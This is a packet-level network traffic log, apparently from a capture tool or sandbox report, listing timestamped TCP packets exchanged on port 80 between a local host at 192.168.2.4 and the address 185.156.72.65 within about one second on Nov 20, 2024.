Nov 20, 2024 05:02:20.135415077 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135420084 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135426044 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135443926 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135452986 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135456085 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135466099 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135478020 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135502100 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135562897 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135574102 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135584116 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135602951 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135628939 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135693073 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135704041 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135715961 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135732889 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135761023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135762930 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135772943 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135785103 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135796070 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135802031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135827065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135834932 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135845900 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135848999 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135857105 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135869026 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135870934 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135885000 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135890007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135894060 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.135907888 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.135931969 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.136070013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136080027 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136090040 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136110067 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.136123896 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.136157036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136168003 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136177063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136188030 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136195898 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.136198997 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136220932 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.136244059 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.136692047 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136703014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136720896 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136734009 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.136748075 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.136768103 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.136787891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136797905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136806965 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136826038 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.136848927 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.136852980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136862993 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.136893034 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.136905909 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.405791044 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.405858994 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.474256992 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.479089975 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.479101896 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.479111910 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.479136944 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.479176044 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.509774923 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.514874935 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.514885902 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.514894962 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.514904022 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.514914036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.514918089 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.514923096 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.514934063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.514942884 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.514944077 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.514952898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.514962912 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.514971972 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.514974117 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.514982939 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.514982939 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515000105 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515005112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515011072 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515013933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515021086 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515032053 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515043020 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515048981 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515052080 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515062094 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515072107 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515074968 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515074968 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515083075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515094042 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515099049 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515105963 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515116930 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515125990 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515126944 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515140057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515146971 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515152931 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515158892 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515170097 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515182018 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515182018 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515192986 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515202999 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515211105 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515221119 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515224934 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515232086 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515242100 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515244961 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515255928 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515264988 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515265942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515275002 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515286922 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515289068 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515296936 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515299082 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515310049 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515324116 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515333891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515340090 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515340090 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515352964 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515355110 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515368938 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515379906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515379906 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515388012 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515391111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515399933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515402079 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515412092 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515420914 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515422106 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515434027 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515444040 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515445948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515454054 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515455008 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515465021 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515475035 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515477896 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515486002 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515496016 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515500069 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515506983 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515507936 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515517950 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515530109 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515533924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515544891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515554905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515556097 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515564919 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515564919 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515574932 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515583992 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515589952 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515595913 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515607119 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515614033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515618086 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515624046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515628099 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515638113 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515646935 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515654087 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515657902 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515671968 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515674114 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515681982 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515682936 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515692949 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515705109 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515705109 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515713930 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515724897 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515729904 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515734911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515741110 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515748978 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515754938 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515759945 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515763998 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515764952 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515769958 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515779972 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515784979 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515790939 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515801907 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515811920 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515813112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515820980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515822887 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515830994 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515831947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515856028 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515858889 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515870094 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515880108 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515880108 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515891075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.515898943 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.515923023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516217947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516252995 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516339064 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516349077 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516360044 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516369104 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516370058 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516379118 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516380072 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516388893 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516400099 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516402960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516412973 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516419888 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516449928 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516478062 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516489983 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516499996 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516510010 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516520023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516520023 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516529083 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516561031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516597986 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516609907 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516618013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516628027 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516637087 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516647100 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516658068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516664982 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516665936 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516674042 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516686916 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516689062 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516689062 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516704082 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516727924 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516757011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516768932 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516777992 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516788960 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516791105 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516798973 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516801119 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516808987 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516819000 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516824007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516829014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516839981 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516849041 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516849995 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516856909 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516859055 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516868114 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516874075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516877890 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516885042 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516896963 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516906023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516917944 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516927958 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516932011 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516937971 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516942978 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516948938 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516954899 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516966105 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516972065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516976118 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516980886 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516985893 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.516993046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.516994953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517004967 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517005920 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517014027 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517024994 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517033100 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517035007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517043114 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517052889 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517065048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517074108 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517074108 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517087936 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517117023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517477036 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517493010 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517503977 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517512083 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517520905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517529964 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517529964 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517532110 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517539978 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517544985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517554045 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517565012 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517568111 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517576933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517591000 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517745972 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517756939 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517766953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517777920 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517787933 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517790079 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517796993 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517807007 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517811060 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517812967 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517824888 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517831087 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517836094 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517847061 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517853975 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517859936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.517878056 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517888069 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.517904997 CET	49730	80	192.168.2.4	185.156.72.65
